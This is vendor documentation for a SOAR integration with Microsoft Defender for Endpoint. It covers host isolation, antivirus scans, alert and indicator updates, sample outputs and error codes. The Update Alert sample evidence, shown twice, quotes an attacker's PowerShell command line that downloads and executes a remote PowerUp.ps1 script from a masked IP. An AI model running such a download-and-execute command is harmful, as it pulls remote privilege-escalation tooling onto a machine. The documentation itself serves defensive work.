The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get User By Alert failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: There is no User related to the alert.
Error Sample Data
Get User By Alert failed.
Status Code: 404.
Message: There is no User related to the alert.
List Hosts Actions
Retrieves a list of host actions.
Reader Note
Limitations for this command:
Maximum page size is 10,000.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
List Hosts Actions failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
Error Sample Data
List Hosts Actions failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
List Hosts
Retrieves a list of machines.
Reader Note
Limitations for this command:
You can get devices last seen according to your configured retention period.
Maximum page size is 10,000.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
List Hosts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
Error Sample Data
List Hosts failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
List Indicator
Retrieves a collection of all active Indicators.
Reader Note
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"IDs": [
"***"
]
}
Return Data
Indicates one of the possible command execution states: Successful or Failed. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
List Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.
Error Sample Data
List Indicator failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.
List Machine Actions
Returns a collection of Machine Actions based on the specified criteria. The rate limitations for this command are 100 calls per minute and 1500 calls per hour.
Reader Note
Machine IDs and Machine Action IDs are optional parametersto run this command.
Run the List Host Actions command to obtain Machine IDs and Machine Action IDs. Machine Action ID is in the returned raw data, under the path $.value.[*].id. Machine ID is under path $.value.[*].machineId.
Your input Machine ID and Machine Action ID must match in order to run this command. If the input values do not match, the command will run successfully with no result returned.
If you input multiple Machine Action IDs and Machine IDs, only the matching pairs (i.e., a Machine ID and a Machine Action ID exist under the same JSON object in the returned raw data of the List Host Actions command) will be returned. For example, if multiple input Machine Action IDs correspond to one Machine ID, all of those successfully matched pairs will be returned. It is possible to have multiple Machine Action ID inputs but only one input Machine ID.
Limitations for this command:
Maximum page size is 10,000.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
If no input parameters are defined, all machine actions will be returned. You can use this command to retrieve Action IDs and Device IDs. The returned “id” key contains Machine Action IDs and the “machineId” key contains Machine IDs.
Input
Input Parameter
Required /Optional
Description
Example
Machine Action IDs
Optional
The IDs of the machine actions to filter results. Machine Action IDs can be obtained using List Host Actions command.
["**********************"]
Machine IDs
Optional
The ID(s) of the machine(s) to list corresponding machine actions. Machine IDs can be obtained using the List Hosts or Get Host By IP or List Host Actions command.
["**********************"]
Create Time
Optional
The creation time of the machine actions to filter results. The input is in UTC time.
2022-10-07 00:00
Time Operator
Optional
The operator for the defined Create Time to filter results. The available time operators are Greater Than, Greater Than Equal, Less Than, Less Than Equal.
Less Than
Types
Optional
The list of Machine Action types to filter results. The valid values are RunAntiVirusScan, Offboard, Live Response, CollectInvestigationPackage, Isolate, Unisolate, StopAndQuarantineFile, RestrictCodeExecution, and UnrestrictCodeExecution.
["Isolate"]
Requestors
Optional
The list of Machine Action requesters to filter results.
["***@example.com"]
Status
Optional
The list of Machine Action statuses to filter results. The valid values are Pending, InProgress, Succeeded, Failed, TimeOut, and Cancelled.
["InProgress", "Succeeded"]
Limit
Optional
The maximum number of records (up to 100) to return. The default value is 20.
3
Offset
Optional
The offset value to paginate the returned records.
Indicates one of the possible command execution states: Successful or Failed. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
TYPE
TITLE
REQUESTOR
REQUESTORCOMMENT
STATUS
MACHINEID
COMPUTERDNSNAME
CREATIONDATETIMEUTC
LASTUPDATEDATETIMEUTC
CANCELLATIONREQUESTOR
CANCELLATIONCOMMENT
CANCELLATIONDATETIMEUTC
ERRORHRESULT
SCOPE
EXTERNALID
REQUESTSOURCE
RELATEDFILEINFO
COMMANDS
TROUBLESHOOTINFO
***
Isolate
None
***@example.com
Test
Succeeded
***
***
2022-05-03T22:04:14.7987522Z
2022-05-03T22:04:38.4447952Z
None
None
None
0
Full
None
Portal
None
[]
None
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
List Machine Actions failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
Error Sample Data
List Machine Actions failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
Quarantine Files
Quarantine files based on the specified machine ID and SHA-1 files hashes.
Reader Note
Machine ID and Hash Values are required parametersto run this command.
Run the Fetch Event command to obtain Machine ID and Hash Values. You should already have your desired Machine ID and Hash Values on hand to run this command. If you don’t, you may use the Fetch Event command with defined filters to retrieve the desired Machine IDs and Hash Values. Machine IDs can be found in the raw data at the path $.value[*].machineId; Hash Values can be found in the raw data under the key “sha1”.
Ensure the file to quarantine exists on your input machine and the file is not trusted.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.[*].machineId, $.[*].fileIdentifier and rename it to Sha1, $.[*].status, and put them in a new JSON Array.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
MACHINEID
SHA1
STATUS
*****
*****
Pending
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Quarantine Files failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Machine.StopAndQuarantine) to access the resource.
Error Sample Data
Quarantine Files failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Machine.StopAndQuarantine) to access the resource.
Quarantine Hosts
Isolates specified devices from accessing the external network.
Reader Note
The input parameter Hosts is required to run this command.
Run the List Hosts command to obtain Hosts. Hosts can be found in the raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The IsolationType parameter defines one of the following the type of isolation to perform:
Full: Full isolation
Selective: Restricts only limited set of applications from accessing the network (see Isolate devices from the network from Microsoft’s documentation for more details)
🔔
Alert
Full isolation is available for devices running on Windows 10(version 1703), and Windows 11.
Selective isolation is available for devices on Windows 10 (version 1709 or later), and Windows 11.
When isolating a device, only certain processes and destinations are allowed. Devices that are behind a full VPN tunnel will not be able to reach the Microsoft Defender for Endpoint and Microsoft Defender Antivirus cloud-based protection-related traffic.
Warning
You cannot isolate a device that is already isolated. Otherwise, an error will be returned.
The quarantine process may take some time. If the status is pending, the device is still in the isolation process. If you run the Unquarantined Host command during this process, an error will return. To check the status of the quarantine process, navigate to the device Action Center on the Microsoft Defender for Endpoint platform. Note: You cannot isolate a device that has already been isolated. If you do so, an error will return.
Input
Input Parameter
Required /Optional
Description
Example
Hosts
Required
The machine IDs of the hosts to quarantine. Machine IDs can be obtained using the List Hosts command.
[“********“,”********”]
Comment
Required
A comment associated with the action.
Isolate machine due to alert
IsolationType
Optional
The isolation type (i.e., Full or Selective) to apply. The default value is Full.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Quarantine Hosts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Action is not supported for this client version.
Error Sample Data
Quarantine Hosts failed.
Status Code: 400.
Message: Action is not supported for this client version.
Scan Hosts
Initiate Microsoft Defender Antivirus scan on the device.
Reader Note
The input parameter Hosts is required to run this command.
Run the List Hosts command to obtain Hosts. Hosts can be found in the raw data at the path $.value[*].id.
Limitations for this command:
Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The ScanType input parameter defines one of the following types of scans to perform:
Quick: Performs a quick scan on the device
Full: Performs a full scan on the device
🔔
Alert
This action is available for devices on Windows 10 (version 1709 or later), and Windows 11.
A Microsoft Defender Antivirus (Microsoft Defender AV) scan can run alongside other antivirus solutions, regardless if Microsoft Defender Antivirus is the active antivirus solution. Microsoft Defender Antivirus can be running in Passive mode. For more information, see Microsoft Defender Antivirus compatibility from Microsoft’s documentation.
Input
Input Parameter
Required /Optional
Description
Example
Hosts
Required
The machine IDs of the hosts to initiate an antivirus scan. Machine IDs can be obtained using the List Hosts command.
["********","********"]
Comment
Optional
A comment associated with the action.
Check machine for viruses due to alert
Scan Type
Required
The scan type (i.e., Quick or Full) to perform. The default value is Quick.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Scan Hosts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Machine XXX was not found.
Error Sample Data
Scan Hosts failed.
Status Code: 404.
Message: Machine XXX was not found.
Unquarantine Hosts
Undoes the isolation of the specified host(s).
Reader Note
The input parameter Hosts is required to run this command.
Run the List Hosts command to obtain Hosts. Hosts can be found in the raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The quarantine process may take some time. If the status is pending, the device is still in the isolation process. If you run the Unquarantined Host command during this process, an error will return. To check the status of the quarantine process, navigate to the device Action Center on the Microsoft Defender for Endpoint platform. Note: You cannot unisolate a device that has already been isolated. If you do so, an error will return.
Input
Input Parameter
Required /Optional
Description
Example
Hosts
Required
The machine IDs of the hosts to unquarantine. Machine IDs can be obtained using the List Hosts command.
["********","********"]
Comment
Required
A comment associated with the action.
Unisolate machine since it was clean and validated
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
Unisolate machine since it was clean and validated
Pending
***
7/31/2020 12:59:02 AM
7/31/2020 12:59:02 AM
0
PublicApi
[]
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Unquarantine Hosts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Cannot unisolate a device that is unisolated.
Error Sample Data
Unquarantine Hosts failed.
Status Code: 400.
Message: Cannot unisolate a device that is unisolated.
Update Alert
Updates the properties of a specified existing alert.
Reader Note
The input parameter Alert IDs is required to run this command.
Run the Fetch Event or Fetch Related Events command to obtain Alert IDs. You should already have your desired Alert IDs on hand to run this command. If you don’t, you may use the Fetch Event or Fetch Related Events command with defined filters to retrieve the desired Alert IDs. The Alert IDs can be found in the raw data at the path $.value[*].id.
Limitations for this command:
You can update alerts that are available in the API. For more information, see List Alerts.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
See Update alert from Microsoft’s documentation for more details.
Input
Input Parameter
Required /Optional
Description
Example
Alert ID
Required
The ID of the alert to update. Alert IDs can be obtained using the Fetch Related Events command.
*****_*****
Status
Required
The updated status of the alert. The available statuses are New, InProgress and Resolved.
Resolved
Assigned To
Optional
The owner of the alert.
***@example.com
Classification
Optional
The classification of the alert. The valid property values are Unknown, FalsePositive, and TruePositive.
FalsePositive
Determination
Optional
The determination of the alert. The valid property values are: NotAvailable, Apt, Malware, SecurityPersonnel, SecurityTesting, UnwantedSoftware, and Other.
Malware
Comment
Optional
A comment about the alert.
Resolve my alert and assign to secop2
Output
Raw Data
The primary response data from the API request.
SAMPLE DATA
JSON
{
"@odata.context": "https://api.securitycenter.microsoft.com/api/***",
"id": "***************************************",
"incidentId": *****,
"investigationId": *****,
"assignedTo": "***@example.com",
"severity": "Medium",
"status": "Resolved",
"classification": "FalsePositive",
"determination": "Malware",
"investigationState": "SuccessfullyRemediated",
"detectionSource": "WindowsDefenderAtp",
"category": "SuspiciousActivity",
"threatFamilyName": null,
"title": "A suspicious file was observed",
"description": "This file exhibits behaviors or traits of malware. It might do one or more of the following: \n1. Give a remote attacker access to your PC. \n2. Download and install other malware. \n3. Record your keystrokes and the sites you visit. \n4. Send information about your PC, including user names, passwords and browsing history, to a remote malicious hacker. \n5. Use your computer for click-fraud, bitcoin mining, DDoS attacks and spamming.",
"alertCreationTime": "2020-07-21T22:34:18.4813169Z",
"firstEventTime": "2020-07-21T22:30:58.3016811Z",
"lastEventTime": "2020-07-21T22:31:03.2234252Z",
"lastUpdateTime": "2020-07-31T17:55:49.9533333Z",
"resolvedTime": "2020-07-21T22:51:30.253033Z",
"machineId": "***************************************",
"computerDnsName": "*****-*****-*****",
"rbacGroupName": null,
"aadTenantId": "***************************************",
"mitreTechniques": [],
"relatedUser": {
"userName": "***",
"domainName": "***"
},
"comments": [
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-28T22:17:20.8021946Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T00:38:11.3857592Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T01:00:42.8443678Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T17:55:49.9543967Z"
}
],
"evidence": [
{
"entityType": "Process",
"sha1": "***************************************",
"sha256": "***************************************",
"fileName": "***.exe",
"filePath": "C:\\Windows",
"processId": ***,
"processCommandLine": "\"***.exe\" ",
"processCreationTime": "2020-07-21T22:30:57.1560671Z",
"parentProcessId": ***,
"parentProcessCreationTime": "2020-07-21T22:30:55.1592591Z",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": null
},
{
"entityType": "Process",
"sha1": "***************************************",
"sha256": "***************************************",
"fileName": "***.exe",
"filePath": "C:\\Windows",
"processId": ***,
"processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('***.***.***.***/***.ps1'); Get-ServiceUnquoted \" >c:\\windows\\***.txt",
"processCreationTime": "2020-07-21T22:31:01.4107316Z",
"parentProcessId": *****,
"parentProcessCreationTime": "2020-07-21T22:30:57.1560671Z",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": null
}
]
}
Context Data
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
SAMPLE DATA
CODE
{
"@odata.context": "https://api.securitycenter.microsoft.com/api/***",
"id": "***************************************",
"incidentId": ***,
"investigationId": ***,
"assignedTo": "***@example.com",
"severity": "Medium",
"status": "Resolved",
"classification": "FalsePositive",
"determination": "Malware",
"investigationState": "SuccessfullyRemediated",
"detectionSource": "WindowsDefenderAtp",
"category": "SuspiciousActivity",
"threatFamilyName": null,
"title": "A suspicious file was observed",
"description": "This file exhibits behaviors or traits of malware. It might do one or more of the following: \n1. Give a remote attacker access to your PC. \n2. Download and install other malware. \n3. Record your keystrokes and the sites you visit. \n4. Send information about your PC, including user names, passwords and browsing history, to a remote malicious hacker. \n5. Use your computer for click-fraud, bitcoin mining, DDoS attacks and spamming.",
"alertCreationTime": "2020-07-21T22:34:18.4813169Z",
"firstEventTime": "2020-07-21T22:30:58.3016811Z",
"lastEventTime": "2020-07-21T22:31:03.2234252Z",
"lastUpdateTime": "2020-07-31T17:55:49.9533333Z",
"resolvedTime": "2020-07-21T22:51:30.253033Z",
"machineId": "***************************************",
"computerDnsName": "***-***-***",
"rbacGroupName": null,
"aadTenantId": "***************************************",
"mitreTechniques": [],
"relatedUser": {
"userName": "***",
"domainName": "***"
},
"comments": [
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-28T22:17:20.8021946Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T00:38:11.3857592Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T01:00:42.8443678Z"
},
{
"comment": "Resolve my alert and assign to secop2",
"createdBy": "Automation",
"createdTime": "2020-07-31T17:55:49.9543967Z"
}
],
"evidence": [
{
"entityType": "Process",
"sha1": "***************************************",
"sha256": "***************************************",
"fileName": "***.exe",
"filePath": "C:\\Windows",
"processId": ***,
"processCommandLine": "\"***.exe\" ",
"processCreationTime": "2020-07-21T22:30:57.1560671Z",
"parentProcessId": ***,
"parentProcessCreationTime": "2020-07-21T22:30:55.1592591Z",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": null
},
{
"entityType": "Process",
"sha1": "***************************************",
"sha256": "***************************************",
"fileName": "***.exe",
"filePath": "C:\\Windows\\***\\v*.*",
"processId": 4280,
"processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('***.***.***.***/PowerUp.ps1'); Get-ServiceUnquoted \" >c:\\windows\\***.txt",
"processCreationTime": "2020-07-21T22:31:01.4107316Z",
"parentProcessId": 4748,
"parentProcessCreationTime": "2020-07-21T22:30:57.1560671Z",
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": null
}
]
}
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Update Alert failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Alert XXX was not found.
Error Sample Data
Update Alert failed.
Status Code: 404.
Message: Alert XXX was not found
Update Indicator
Updates an indicator.
Reader Note
Indicator Value is a required parameterto run this command.
Run the List Indicator command to obtain Indicator Values. Indicator Value can be found in the raw data at the path $.value[*].indicatorValue.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There is a limit of 15,000 active indicators per tenant.
If you leave some parameters empty, any existing values will still be kept. If optional parameters are left undefined with previously existing values, those values will also be kept.
Input
Input Parameter
Required /Optional
Description
Example
Indicator Value
Required
The identity of the Indicator entity to update. Indicator Values can be obtained using the List Indicator command.
The updated type of the indicator. The available indicator types are FileSha1, FileMd5, CertificateThumbprint, FileSha256, IpAddress, DomainName and Url.
DomainName
Action
Required
The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.
AlertAndBlock
Application
Optional
The updated application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.
demo-test
Title
Required
The updated indicator alert title.
test
Description
Required
The updated description of the indicator.
test
Expiration Time
Optional
The updated expiration time of the indicator. For example, 2022-12-12T00:00:00Z.
2022-12-12T00:00:00Z
Severity
Optional
The updated severity of the indicator. The available input options are Informational, Low, Medium, and High.
Informational
Recommended Actions
Optional
The updated recommended actions for the indicator alert.
nothing
rbac Group Names
